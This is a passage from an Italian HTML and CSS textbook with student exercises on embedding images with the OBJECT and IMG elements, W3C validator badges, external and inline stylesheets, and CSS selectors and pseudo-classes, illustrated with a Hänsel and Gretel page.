Si realizzi il file '`oggetti-01.html`' con il contenuto seguente. Per completare il lavoro, serve il file '`philosophical-gnu-sm.jpg`', che si può prelevare da ⟨*http://www.gnu.org/graphics/philosophical-gnu-sm.jpg*⟩. Il disegno è di Markus Gerwinski e il titolo è *Philosophical GNU*. In mancanza di un collegamento alla rete, si può usare un'immagine qualunque, purché in formato JPG che è quello più comune, modificando in modo appropriato i riferimenti al nome del file relativo.

```
1   <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
2   <HTML LANG="it">
3   <HEAD>
4       <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
5       <META NAME="Description" CONTENT="Incorporazione di oggetti,
6           esempio 01">
7       <META NAME="Keywords" CONTENT="HTML, oggetto, oggetti, esempio">
8       <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
9       <META NAME="Date" CONTENT="2010.01.01">
10      <META NAME="Resource-type" LANG="en" CONTENT="Document">
11      <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
12      <META NAME="Robots" CONTENT="ALL">
13      <TITLE>Oggetti</TITLE>
14  </HEAD>
15  <BODY>
16
17  <H1>Inclusione di oggetti</H1>
18
19  <P>Per includere un oggetto si usa l'elemento <SAMP>OBJECT</SAMP>, come
20  in questo caso, in cui si incorpora un file JPG nel flusso del testo di
21  questo paragrafo: <OBJECT DATA="philosophical-gnu-sm.jpg"
22  TYPE="image/jpg">GNU filosofico</OBJECT>. L'oggetto, oltre che disporre
23  di un testo alternativo, potrebbe incorporare anche un oggetto di
24  riserva, come nell'esempio seguente, dove il primo riferimento &egrave;
25  all'immagine originale, ma in sua mancanza si mostra un file che
26  accompagna il documento stesso (oppure si ripiega ancora per un testo
```

```
27  descrittivo):</P>
28
29  <P><OBJECT DATA="http://www.gnu.org/graphics/philosophical-gnu-sm.jpg"
30          TYPE="image/jpg">
31      <OBJECT DATA="philosophical-gnu-sm.jpg" TYPE="image/jpg">
32          GNU filosofico
33      </OBJECT>
34  </OBJECT></P>
35
36  <P>Infine, per essere certi che tutto funzioni anche con un vecchio
37  navigatore, &egrave; sempre meglio limitarsi a usare l'elemento
38  <SAMP>IMG</SAMP> per le immagini: <IMG SRC="philosophical-gnu-sm.jpg"
39  ALT="GNU filosofico">.</P>
40
41  </BODY>
42  </HTML>
```

Ciò che si ottiene cambia molto anche in base all'ampiezza orizzontale disponibile, dal momento che la prima e l'ultima immagine sono inserite nel testo di un paragrafo (solo la seconda immagine è inserita in un paragrafo autonomo che non contiene altro testo).

Figura 67.63. Aspetto del file '`oggetti-01.html`'.

Inclusione di oggetti

Per includere un oggetto si usa l'elemento `OBJECT`, come in questo caso, in cui si incorpora un file JPG nel flusso del testo di questo paragrafo: GNU filosofico. L'oggetto, oltre che disporre di un testo alternativo, potrebbe incorporare anche un oggetto di riserva, come nell'esempio seguente, dove il primo riferimento è all'immagine originale, ma in sua mancanza si mostra un file che accompagna il documento stesso (oppure si ripiega ancora per un testo descrittivo):

GNU filosofico

Infine, per essere certi che tutto funzioni anche con un vecchio navigatore, è sempre meglio limitarsi a usare l'elemento `IMG` per le immagini: GNU filosofico .

Viene mostrato anche cosa si vede con un navigatore non grafico:

```
                          Inclusione di oggetti

  Per includere un oggetto si usa l'elemento OBJECT, come in questo caso, in
  cui si incorpora un file JPG nel flusso del testo di questo paragrafo: GNU
  filosofico. L'oggetto, oltre che disporre di un testo alternativo,
  potrebbe incorporare anche un oggetto di riserva, come nell'esempio
  seguente, dove il primo riferimento è all'immagine originale, ma in sua
  mancanza si mostra un file che accompagna il documento stesso (oppure si
  ripiega ancora per un testo descrittivo):

  GNU filosofico

  Infine, per essere certi che tutto funzioni anche con un vecchio
  navigatore, è sempre meglio limitarsi a usare l'elemento IMG per le
  immagini: GNU filosofico.
```

Generalmente, per evitare problemi di compatibilità con i vari programmi di navigazione, è meglio evitare di fare scorrere il testo a fianco delle immagini, per cui è bene staccare il testo normale racchiudendolo esplicitamente all'interno di un elemento '**`P`**' (paragrafo).

67.10.2 File «oggetti-02.html»

Si realizzi il file '`oggetti-02.html`' con il contenuto seguente:

```
1  <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
2  <HTML LANG="it">
3  <HEAD>
4      <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
5      <META NAME="Description" CONTENT="Incorporazione di oggetti,
6          esempio 02">
7      <META NAME="Keywords" CONTENT="HTML, oggetto, oggetti, esempio">
8      <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
9      <META NAME="Date" CONTENT="2010.01.01">
10     <META NAME="Resource-type" LANG="en" CONTENT="Document">
11     <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
12     <META NAME="Robots" CONTENT="ALL">
13     <TITLE>Convalida</TITLE>
14 </HEAD>
15 <BODY>
16
17 <H1>Fieri di essere standard</H1>
18
19 <P>Quando si &egrave; certi della validit&agrave; del proprio documento
20 HTML ISO 15445, si pu&ograve; aggiungere un'icona racchiusa da un
21 riferimento ipertestuale che rimanda al servizio di verifica offerto dal
22 consorzio W3C. Per verificare che questo documento sia valido
23 effettivamente, basta fare un &laquo;clic&raquo; sulla stessa:</P>
24
25 <P><A HREF="http://validator.w3.org/check/referer"><IMG
26 SRC="http://validator.w3.org/images/v15445" ALT="Valid
27 ISO-HTML!"></A></P>
28
29 <P>Se per&ograve; questo file non &egrave; accessibile attraverso la
30 rete esterna, ci si deve accontentare di verificare a partire dalla
31 pagina <A HREF="http://validator.w3.org/file-upload.html">
32 http://validator.w3.org/file-upload.html</A>, attraverso la quale
33 &egrave; possibile inviare il file, pur non essendo accessibile
34 pubblicamente.</P>
35
36 </BODY>
37 </HTML>
```

Il risultato che si ottiene con un navigatore grafico lo si può vedere nella figura successiva. Si osservi che l'icona può apparire solo se è disponibile un collegamento alla rete esterna, che consenta di raggiungere l'indirizzo ⟨*http://validator.w3.org/images/v15445*⟩.

Figura 67.66. Aspetto del file '`oggetti-02.html`'.

Fieri di essere standard

Quando si è certi della validità del proprio documento HTML ISO 15445, si può aggiungere un'icona racchiusa da un riferimento ipertestuale che rimanda al servizio di verifica offerto dal consorzio W3C. Per verificare che questo documento sia valido effettivamente, basta fare un «clic» sulla stessa:

Valid ISO-HTML!

Se però questo file non è accessibile attraverso la rete esterna, ci si deve accontentare di verificare a partire dalla pagina http://validator.w3.org/file-upload.html, attraverso la quale è possibile inviare il file, pur non essendo accessibile pubblicamente.

Ecco cosa si vede con un navigatore senza grafica:

```
                          Fieri di essere standard

Quando si è certi della validità del proprio documento HTML ISO 15445,
si può aggiungere un'icona racchiusa da un riferimento ipertestuale che
rimanda al servizio di verifica offerto dal consorzio W3C. Per
verificare che questo documento sia valido effettivamente, basta fare un
«clic» sulla stessa:

Valid ISO-HTML!

Se però questo file non è accessibile attraverso la rete esterna, ci si
deve accontentare di verificare a partire dalla pagina
http://validator.w3.org/file-upload.html, attraverso la quale è possibile
inviare il file, pur non essendo accessibile pubblicamente.
```

67.10.3 Verifica sull'inserzione di oggetti

In base a quanto appreso fino a questo punto, si realizzi il file '`verifica-oggetti-01.html`' che produca un risultato abbastanza simile a quello mostrato di seguito (sia in modo grafico, sia in modo non grafico), quando viene visto attraverso un navigatore:

Le cose che mi piacciono

Ci sono due cose che mi piacciono: il software libero e gli standard liberi. Per saperne di più sul software libero si può leggere qualcosa di utile a partire dal sito http://www.gnu.org (basta fare clic sull'immagine del "GNU filosofico" che appare qui sotto).

GNU filosofico

Per quanto riguarda gli standard, si veda in particolare il W3C (http://www.w3.org), ma per verificare la correttezza sintattica di questa pagina basta fare un bel clic sulla superficie di questa icona: Valid ISO-HTML!

```
                          Le cose che mi piacciono

Ci sono due cose che mi piacciono: il software libero e gli standard
liberi. Per saperne di più sul software libero si può leggere qualcosa di
utile a partire dal sito http://www.gnu.org (basta fare clic sull'immagine
del "GNU filosofico" che appare qui sotto).

GNU filosofico

Per quanto riguarda gli standard, si veda in particolare il W3C
(http://www.w3.org), ma per verificare la correttezza sintattica di
questa pagina basta fare un bel clic sulla superficie di questa icona:
Valid ISO-HTML!
```

Si completi l'intestazione, coerentemente, secondo il proprio criterio, seguendo le modalità già stabilite. Inoltre, le figure devono incorporare il riferimento ipertestuale appropriato al contesto. Si deve consegnare per la valutazione:

1. la stampa del risultato ottenuto attraverso il navigatore;
2. la stampa del sorgente.

Si richiede espressamente che tutti gli elementi, a esclusione di quelli che devono essere vuoti, siano terminati correttamente con il marcatore di chiusura.

67.11 Inserzione di immagini

L'elemento '**OBJECT**' consente di incorporare qualunque tipo di «oggetto», incluse le immagini; tuttavia, ci sono dei navigatori che considerano tale elemento in modo speciale e pretendono che sia disponibile del software specifico per qualunque tipo di contenuto multimediale. In altri termini, dovendo realizzare un documento da consultare con qualunque tipo di navigatore, l'inserzione delle immagini conviene attuarla con l'elemento tradizionale '**IMG**' ed è opportuno che i file siano in formato JPG.

Tabella 67.70. Attributi indispensabili dell'elemento '**IMG**'.

Attributo	Significato
SRC	Riferimento al file dell'immagine.
ALT	Descrizione alternativa all'immagine.

L'elemento '**IMG**' può essere vuoto, perché si limita a stabilire la collocazione dell'immagine all'interno di un contesto lineare.

67.11.1 File «immagini-01.html»

Si realizzi il file '`immagini-01.html`' con il contenuto seguente. Per completare il lavoro, serve il file '`philosophical-gnu-sm.jpg`', che si può prelevare da ⟨*http://www.gnu.org/graphics/philosophical-gnu-sm.jpg*⟩. Il disegno è di Markus Gerwinski e il titolo è *Philosophical GNU*. In mancanza di un collegamento alla rete, si può usare un'immagine qualunque, purché in formato JPG che è quello più comune, modificando in modo appropriato i riferimenti al nome del file relativo.

```
1  <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
2  <HTML LANG="it">
3  <HEAD>
4      <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
5      <META NAME="Description" CONTENT="Incorporazione di immagini,
6          esempio 01">
7      <META NAME="Keywords" CONTENT="HTML, immagine, immagini, esempio">
8      <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
9      <META NAME="Date" CONTENT="2010.01.01">
10     <META NAME="Resource-type" LANG="en" CONTENT="Document">
11     <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
12     <META NAME="Robots" CONTENT="ALL">
13     <TITLE>Immagini</TITLE>
```

```
14	</HEAD>
15	<BODY>
16
17	<H1>Inclusione di immagini</H1>
18
19	<P>Per includere un'immagine si usa l'elemento <SAMP>IMG</SAMP>, come in
20	questo caso, in cui si incorpora un file JPG nel flusso del testo di
21	questo paragrafo: <IMG SRC="philosophical-gnu-sm.jpg" ALT="GNU
22	filosofico">.</P>
23
24	</BODY>
25	</HTML>
```

Ciò che si ottiene cambia anche in base all'ampiezza orizzontale disponibile.

Figura 67.72. Aspetto del file 'immagini-01.html'.

Inclusione di immagini

Per includere un'immagine si usa l'elemento IMG, come in questo caso, in cui si incorpora un file JPG nel flusso del testo di questo paragrafo: GNU filosofico .

Viene mostrato anche cosa si vede con un navigatore non grafico:

```
                        Inclusione di immagini

Per includere un'immagine si usa l'elemento IMG, come in questo caso, in
cui si incorpora un file JPG nel flusso del testo di questo paragrafo: GNU
filosofico.
```

Generalmente, per evitare problemi di compatibilità con i vari programmi di navigazione, è meglio evitare di fare scorrere il testo a fianco delle immagini, per cui è bene staccare il testo normale racchiudendolo esplicitamente all'interno di un elemento '**P**' (paragrafo).

67.11.2 File «immagini-02.html»

Si realizzi il file 'immagini-02.html' con il contenuto seguente:

```
1	<!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
2	<HTML LANG="it">
3	<HEAD>
4	    <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
5	    <META NAME="Description" CONTENT="Incorporazione di immagini,
6	        esempio 02">
7	    <META NAME="Keywords" CONTENT="HTML, immagine, immagini, esempio">
8	    <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
9	    <META NAME="Date" CONTENT="2010.01.01">
10	    <META NAME="Resource-type" LANG="en" CONTENT="Document">
11	    <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
12	    <META NAME="Robots" CONTENT="ALL">
13	    <TITLE>Convalida</TITLE>
14	</HEAD>
15	<BODY>
16
17	<H1>Fieri di essere standard</H1>
```

```
18
19   <P>Quando si &egrave; certi della validit&agrave; del proprio documento
20   HTML ISO 15445, si pu&ograve; aggiungere un'icona racchiusa da un
21   riferimento ipertestuale che rimanda al servizio di verifica offerto dal
22   consorzio W3C. Per verificare che questo documento sia valido
23   effettivamente, basta fare un &laquo;clic&raquo; sulla stessa:</P>
24
25   <P><A HREF="http://validator.w3.org/check/referer"><IMG
26   SRC="http://validator.w3.org/images/v15445" ALT="Valid
27   ISO-HTML!"></A></P>
28
29   <P>Se per&ograve; questo file non &egrave; accessibile attraverso la
30   rete esterna, ci si deve accontentare di verificare a partire dalla
31   pagina <A HREF="http://validator.w3.org/file-upload.html">
32   http://validator.w3.org/file-upload.html</A>, attraverso la quale
33   &egrave; possibile inviare il file, pur non essendo accessibile
34   pubblicamente.</P>
35
36   </BODY>
37   </HTML>
```

Il risultato che si ottiene con un navigatore grafico lo si può vedere nella figura successiva. Si osservi che l'icona può apparire solo se è disponibile un collegamento alla rete esterna, che consenta di raggiungere l'indirizzo ⟨*http://validator.w3.org/images/v15445*⟩.

Figura 67.75. Aspetto del file '`oggetti-02.html`'.

Fieri di essere standard

Quando si è certi della validità del proprio documento HTML ISO 15445, si può aggiungere un'icona racchiusa da un riferimento ipertestuale che rimanda al servizio di verifica offerto dal consorzio W3C. Per verificare che questo documento sia valido effettivamente, basta fare un «clic» sulla stessa:

Valid ISO-HTML!

Se però questo file non è accessibile attraverso la rete esterna, ci si deve accontentare di verificare a partire dalla pagina http://validator.w3.org/file-upload.html, attraverso la quale è possibile inviare il file, pur non essendo accessibile pubblicamente.

Ecco cosa si vede con un navigatore senza grafica:

```
                        Fieri di essere standard

Quando si è certi della validità del proprio documento HTML ISO 15445, si
può aggiungere un'icona racchiusa da un riferimento ipertestuale che
rimanda al servizio di verifica offerto dal consorzio W3C. Per verificare
che questo documento sia valido effettivamente, basta fare un «clic»
sulla stessa:

Valid ISO-HTML!

Se però questo file non è accessibile attraverso la rete esterna, ci si
deve accontentare di verificare a partire dalla pagina
http://validator.w3.org/file-upload.html, attraverso la quale è possibile
inviare il file, pur non essendo accessibile pubblicamente.
```

67.11.3 Verifica sull'inserzione di immagini

Questa verifica è identica a quella della sezione 67.10.3.

In base a quanto appreso fino a questo punto, si realizzi il file '`verifica-immagini-01.html`' che produca un risultato abbastanza simile a quello mostrato di seguito (sia in modo grafico, sia in modo non grafico), quando viene visto attraverso un navigatore:

Le cose che mi piacciono

Ci sono due cose che mi piacciono: il software libero e gli standard liberi. Per saperne di più sul software libero si può leggere qualcosa di utile a partire dal sito http://www.gnu.org (basta fare clic sull'immagine del "GNU filosofico" che appare qui sotto).

GNU filosofico

Per quanto riguarda gli standard, si veda in particolare il W3C (http://www.w3.org), ma per verificare la correttezza sintattica di questa pagina basta fare un bel clic sulla superficie di questa icona: Valid ISO-HTML!

```
                          Le cose che mi piacciono

Ci sono due cose che mi piacciono: il software libero e gli standard
liberi. Per saperne di più sul software libero si può leggere qualcosa di
utile a partire dal sito http://www.gnu.org (basta fare clic sull'immagine
del "GNU filosofico" che appare qui sotto).

GNU filosofico

Per quanto riguarda gli standard, si veda in particolare il W3C
(http://www.w3.org), ma per verificare la correttezza sintattica di
questa pagina basta fare un bel clic sulla superficie di questa icona:
Valid ISO-HTML!
```

Si completi l'intestazione, coerentemente, secondo il proprio criterio, seguendo le modalità già stabilite. Inoltre, le figure devono incorporare il riferimento ipertestuale appropriato al contesto. Si deve consegnare per la valutazione:

1. la stampa del risultato ottenuto attraverso il navigatore;
2. la stampa del sorgente.

Si richiede espressamente che tutti gli elementi, a esclusione di quelli che devono essere vuoti, siano terminati correttamente con il marcatore di chiusura.

67.12 Fogli di stile CSS

L'evoluzione del linguaggio HTML si è sviluppata attraverso la ricerca di introdurre elementi e attributi per il controllo della resa estetica. Tuttavia, questo approccio ha dimostrato di non essere efficace e lo standard ISO 15445 ha eliminato tutto il superfluo, per lasciare il controllo dell'estetica al di fuori del linguaggio, contando eventualmente sui fogli di stile CSS per questo scopo.

Un foglio di stile CSS (*Cascading style sheet*) può essere un file, di solito con estensione '`.css`', che si associa alle pagine HTML, oppure può essere del codice che si incorpora nelle pagine stesse. Si associa un foglio di stile esterno nel modo che appare dall'esempio seguente, dove il file del foglio di stile si chiama precisamente '`stile.css`':

```
<!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
<HTML>
<HEAD>
    <TITLE>Esempio</TITLE>
    <LINK REL="stylesheet" TYPE="text/css" HREF="stile.css">
    ...
</HEAD>
...
</HTML>
```

Per incorporare il contenuto di un foglio di stile direttamente nella pagina HTML, si può procedere come nell'esempio seguente:

```
<!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
<HTML>
<HEAD>
    <TITLE>Esempio</TITLE>
    <STYLE TYPE="text/css">
        <!--
            H1 { color: blue }
            P {
                font-size:  12pt;
                color:      red;
            }
        -->
    </STYLE>
</HEAD>
<BODY>
    ...
</BODY>
</HTML>
```

Come si può osservare, il codice dello stile CSS è inserito nell'elemento '**`STYLE`**', ma appare racchiuso da un commento (tra '**`<!--`**' e '**`-->`**'). Ciò si rende necessario per evitare che i navigatori che non sono in grado di interpretare lo stile vengano confusi, arrivando magari a mostrare il codice CSS nella pagina.

Se si dispone di un collegamento alla rete esterna, è possibile verificare la correttezza sintattica di un foglio di stile, attraverso il servizio offerto dal consorzio W3C, a partire dall'indirizzo ⟨*http://jigsaw.w3.org/css-validator/*⟩. La verifica è possibile per file HTML che incorporano il foglio di stile, per figli di stile autonomi, o inserendo il testo dello stile in una finestra di un modulo di inserimento.

67.12.1 File «stile-01.html»

Si realizzi il file '`stile-01.html`' con il contenuto seguente:

```
1  <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
2  <HTML LANG="it">
3  <HEAD>
4      <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
5      <META NAME="Description" CONTENT="Introduzione all'uso degli
6          stili CSS, esempio 01">
7      <META NAME="Keywords" CONTENT="HTML, CSS, stile, esempio">
8      <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
9      <META NAME="Date" CONTENT="2010.01.01">
10     <META NAME="Resource-type" LANG="en" CONTENT="Document">
11     <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
12     <META NAME="Robots" CONTENT="ALL">
13     <TITLE>Stile</TITLE>
14     <STYLE TYPE="text/css">
15         <!--
16             H1 {
17                 color: blue;
18                 font-size:  32pt;
19             }
20             P {
21                 font-size:  24pt;
22                 color:      red;
23             }
24         -->
25     </STYLE>
26 </HEAD>
27 <BODY>
28 
29 <H1>Fieri di essere standard</H1>
30 
31 <P>Quando si &egrave; certi della validit&agrave; del proprio documento
32 HTML ISO 15445, si pu&ograve; aggiungere un'icona racchiusa da un
33 riferimento ipertestuale che rimanda al servizio di verifica offerto dal
34 consorzio W3C. Per verificare che questo documento sia valido
35 effettivamente, basta fare un &laquo;clic&raquo; sulla stessa:</P>
36 
37 <P><A HREF="http://validator.w3.org/check/referer"><IMG
38 SRC="http://validator.w3.org/images/v15445" ALT="Valid
39 ISO-HTML!"></A></P>
40 
41 <P>Inoltre, se si ha la stessa sicurezza a proposito dello stile CSS, si
42 pu&ograve; aggiungere un'icona analoga che invia al servizio di
43 controllo del W3C sui fogli di stile:</P>
44 
45 <P><A HREF="http://jigsaw.w3.org/css-validator/check/validator"><IMG
46 SRC="http://jigsaw.w3.org/css-validator/images/vcss" ALT="Valid
47 CSS!"></A></P>
48 
49 </BODY>
```

```
50  </HTML>
```

Teoricamente, il titolo dovrebbe apparire di colore blu e il testo di colore rosso, come si vede nella figura successiva.

Figura 67.82. Aspetto del file ‘`stile-01.html`’.

Fieri di essere standard

Quando si è certi della validità del proprio documento HTML ISO 15445, si può aggiungere un'icona racchiusa da un riferimento ipertestuale che rimanda al servizio di verifica offerto dal consorzio W3C. Per verificare che questo documento sia valido effettivamente, basta fare un «clic» sulla stessa:

ISO/IEC 15445

Inoltre, se si ha la stessa sicurezza a proposito dello stile CSS, si può aggiungere un'icona analoga che invia al servizio di controllo del W3C sui fogli di stile:

W3C css

67.12.2 File «stile-02.html» e «stile-02.css»

Si realizzi il file ‘`stile-02.css`’ estrapolando il codice del foglio di stile CSS dal file ‘`stile-01.html`’. In pratica, il file ‘`stile-02.css`’ deve avere il contenuto seguente:

```
1  H1 {
2      color: blue;
3      font-size:  32pt;
4  }
5  P {
6      font-size:  24pt;
7      color:      red;
8  }
```

Si realizzi il file ‘`stile-02.html`’, modificando il file ‘`stile-01.html`’ già realizzato in precedenza. In pratica, si fa riferimento al foglio di stile contenuto nel file ‘`stile-02.css`’:

```
1  <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
2  <HTML LANG="it">
3  <HEAD>
4      <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
5      <META NAME="Description" CONTENT="Introduzione all'uso degli
6          stili CSS, esempio 02">
7      <META NAME="Keywords" CONTENT="HTML, CSS, stile, esempio">
```

```
8       <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
9       <META NAME="Date" CONTENT="2010.01.01">
10      <META NAME="Resource-type" LANG="en" CONTENT="Document">
11      <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
12      <META NAME="Robots" CONTENT="ALL">
13      <TITLE>Stile</TITLE>
14      <LINK REL="stylesheet" TYPE="text/css" HREF="stile-02.css">
15  </HEAD>
16  <BODY>
17
18  <H1>Fieri di essere standard</H1>
19
20  <P>Quando si &egrave; certi della validit&agrave; del proprio documento
21  HTML ISO 15445, si pu&ograve; aggiungere un'icona racchiusa da un
22  riferimento ipertestuale che rimanda al servizio di verifica offerto dal
23  consorzio W3C. Per verificare che questo documento sia valido
24  effettivamente, basta fare un &laquo;clic&raquo; sulla stessa:</P>
25
26  <P><A HREF="http://validator.w3.org/check/referer"><IMG
27  SRC="http://validator.w3.org/images/v15445" ALT="Valid
28  ISO-HTML!"></A></P>
29
30  <P>Inoltre, se si ha la stessa sicurezza a proposito dello stile CSS, si
31  pu&ograve; aggiungere un'icona analoga che invia al servizio di
32  controllo del W3C sui fogli di stile:</P>
33
34  <P><A HREF="http://jigsaw.w3.org/css-validator/check/validator"><IMG
35  SRC="http://jigsaw.w3.org/css-validator/images/vcss" ALT="Valid
36  CSS!"></A></P>
37
38  </BODY>
39  </HTML>
```

Si deve ottenere lo stesso risultato già visto nella sezione precedente, a proposito del file '`stile-01.html`'.

67.13 Linguaggio CSS

In queste lezioni viene introdotto un utilizzo molto semplice dei fogli di stile CSS (si veda anche la sezione 66.6). Esistono due livelli del linguaggio CSS, denominati CSS1 e CSS2, compatibili tra di loro. Eventualmente si può approfondire lo studio di questi due livelli da ⟨*http://www.w3.org/TR/REC-CSS1* ⟩ e da ⟨*http://www.w3.org/TR/CSS2/* ⟩.

Le istruzioni del linguaggio CSS vengono definite ***regole*** e si esprimono sinteticamente secondo la forma seguente, dove le parentesi graffe fanno parte della regola:

```
selettore { dichiarazione }
```

Il ***selettore*** rappresenta qualcosa all'interno del documento e la dichiarazione è ciò che si vuole ottenere su tale oggetto. Eventualmente, all'interno di una regola si possono raggruppare più selettori (separati con una virgola), applicando così le stesse dichiarazioni:

```
selettore, selettore... { dichiarazione }
```

Si possono indicare anche più dichiarazioni, separandole con un punto e virgola:

```
selettore... { dichiarazione; dichiarazione... }
```

Le regole possono essere scritte utilizzando più righe di testo normale, per cui, la stessa sintassi appena mostrata potrebbe essere scritta anche come nel modo seguente, aggiungendo un punto e virgola finale anche dopo l'ultima dichiarazione:

```
selettore... {
    dichiarazione;
    dichiarazione;
    ...
}
```

Le dichiarazioni si scompongono a loro volta in ***proprietà*** e valori loro assegnati:

```
selettore... {
    proprietà: valore;
    ...
}
```

L'esempio seguente attribuisce il colore blu al testo degli elementi '**`H1`**' di un documento HTML, come già apparso in precedenza:

```
H1 { color: blue }
```

Una proprietà può avere valori alternativi, da usare in mancanza di altro:

```
selettore... {
    proprietà: valore valore_alternativo...;
    ...
}
```

L'esempio successivo indica l'utilizzo di uno sfondo composto da un'immagine esterna per il corpo del documento, specificando che in mancanza dell'immagine, o in mancanza della possibilità di rappresentarla si può utilizzare uno sfondo bianco:

```
BODY { background-image: url(fondale.jpg) white }
```

I commenti in un foglio di stile CSS si rappresentano in modo simile al linguaggio C, nella forma:

```
/* testo_ignorato */
```

Il selettore di una regola CSS è qualcosa che rappresenta una parte del testo a cui si vogliono applicare le dichiarazioni relative. Nella situazione più semplice, il selettore viene indicato con il nome dell'elemento a cui si attribuisce, come già apparso negli esempi mostrati in precedenza. Tutti gli elementi HTML che si possono utilizzare nel corpo, ovvero all'interno dell'elemento '**BODY**', possono utilizzare l'attributo '**CLASS**'. Ciò permette di attribuire loro una ***classe***, ovvero un gruppo, di solito nell'ambito di quel tipo di elemento. Per indicare un selettore che faccia riferimento a una classe specifica di un certo elemento, si usa la notazione seguente:

```
[elemento].classe
```

Come si vede, l'indicazione dell'elemento è facoltativa, in modo tale che, se non lo si indica, si faccia riferimento a tutti gli elementi che appartengono a quella stessa classe. L'esempio seguente mostra il caso degli elementi '**P**' che appartengono alla classe '**nota**', a cui viene abbinato il colore rosso per il testo:

```
P.nota { color: red }
```

L'esempio seguente mostra invece l'utilizzo di un selettore che fa riferimento a una classe di qualunque elemento:

```
.calmante { color: green }
```

Un selettore può essere composto in modo da definire la dipendenza da un contesto. In altri termini, si può definire un selettore che dipende da un altro:

```
selettore sottoselettore...
```

Il primo selettore indica un ambito, all'interno del quale va cercata la corrispondenza per il secondo selettore, continuando eventualmente ad aumentare il dettaglio con altri selettori più specifici. Si osservi l'esempio seguente; serve a fare riferimento agli elementi '**EM**' che si trovano all'interno di un elemento '**H1**':

```
H1 EM { color: green }
```

È importante distinguere il raggruppamento di selettori dalla definizione di un contesto più dettagliato come in questo caso. Infatti, per raggruppare i selettori si utilizza la virgola. L'esempio seguente applica il colore verde a tutti gli elementi '**EM**' contenuti all'interno di elementi '**H1**' o '**H2**':

```
H1 EM, H2 EM { color: green }
```

Un selettore può anche individuare una pseudo-classe, ovvero una zona di testo che viene individuata dal programma che si occupa di interpretare il documento HTML, che non corrisponde a elementi e classi indicati espressamente:

elemento* : *pseudo_classe

elemento* . *classe* : *pseudo_classe

. *classe* : *pseudo_classe*

: *pseudo_classe*

Il caso tipico di una pseudo-classe è quella che delimita la prima lettera di un elemento: '**`first-letter`**'. L'esempio seguente serve a ottenere una lettera iniziale più grande in tutti gli elementi '**`P`**' di classe '**`primo`**':

```
P.primo:first-letter {
    font-size: 200%;
    float: left;
}
```

67.13.1 File «linguaggio-css-01.html»

Si realizzi il file '`linguaggio-css-01.html`' con il contenuto seguente:

```
1   <!DOCTYPE HTML PUBLIC "ISO/IEC 15445:2000//DTD HTML//EN">
2   <HTML LANG="it">
3   <HEAD>
4       <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
5       <META NAME="Description" CONTENT="Linguaggio CSS, esempio 01">
6       <META NAME="Keywords" CONTENT="HTML, CSS, stile, esempio">
7       <META NAME="Author" CONTENT="Tizio Tizi, tizio@brot.dg, classe 4Z">
8       <META NAME="Date" CONTENT="2010.01.01">
9       <META NAME="Resource-type" LANG="en" CONTENT="Document">
10      <META NAME="Revisit-after" LANG="en" CONTENT="15 days">
11      <META NAME="Robots" CONTENT="ALL">
12      <TITLE>Linguaggio CSS</TITLE>
13      <STYLE TYPE="text/css">
14          <!--
15              H1 {
16                  color: blue;
17                  font-size:        48pt;
18              }
19              P {
20                  font-size:        24pt;
```

```
21                  color:              green;
22              }
23              P.autore {
24                  font-size:          18pt;
25                  text-align:         right;
26                  font-style:         italic;
27                  color:              black;
28              }
29              P.inizio:first-letter {
30                  font-size:          200%;
31                  color:              black;
32              }
33          -->
34      </STYLE>
35  </HEAD>
36  <BODY>
37
38  <H1>H&auml;nsel e Gretel</H1>
39
40  <P CLASS="autore">di Jacob e Wilhelm Grimm</P>
41
42  <P CLASS="inizio">Davanti a un gran bosco abitava un povero taglialegna
43  con sua moglie e i suoi due bambini; il maschietto si chiamava
44  H&auml;nsel e la bambina Gretel. Egli aveva poco da metter sotto i
45  denti, e quando ci fu nel paese una grande carestia, non poteva neanche
46  pi&ugrave; procurarsi il pane tutti i giorni. [...]</P>
47
48  <P>Per la fame, neppure i due bimbi potevan dormire, e avevano udito
49  quel che la matrigna diceva al padre. Gretel piangeva amaramente, e
50  disse a H&auml;nsel: - Adesso per noi &egrave; finita. - [...]</P>
51
52  <P>[...]</P>
53
54  </BODY>
55  </HTML>
```

Figura 67.93. Aspetto del file ‘linguaggio-css-01.html’.

Hänsel e Gretel

di Jacob e Wilhelm Grimm

Davanti a un gran bosco abitava un povero taglialegna con sua moglie e i suoi due bambini; il maschietto si chiamava Hänsel e la bambina Gretel. Egli aveva poco da metter sotto i denti, e quando ci fu nel paese una grande carestia, non poteva neanche più procurarsi il pane tutti i giorni. [...]

Per la fame, neppure i due bimbi potevan dormire, e avevano udito quel che la matrigna diceva al padre. Gretel piangeva amaramente, e disse a Hänsel: – Adesso per noi è finita. – [...]

[...]

1

67.13.2 Elementi «DIV» e «SPAN»

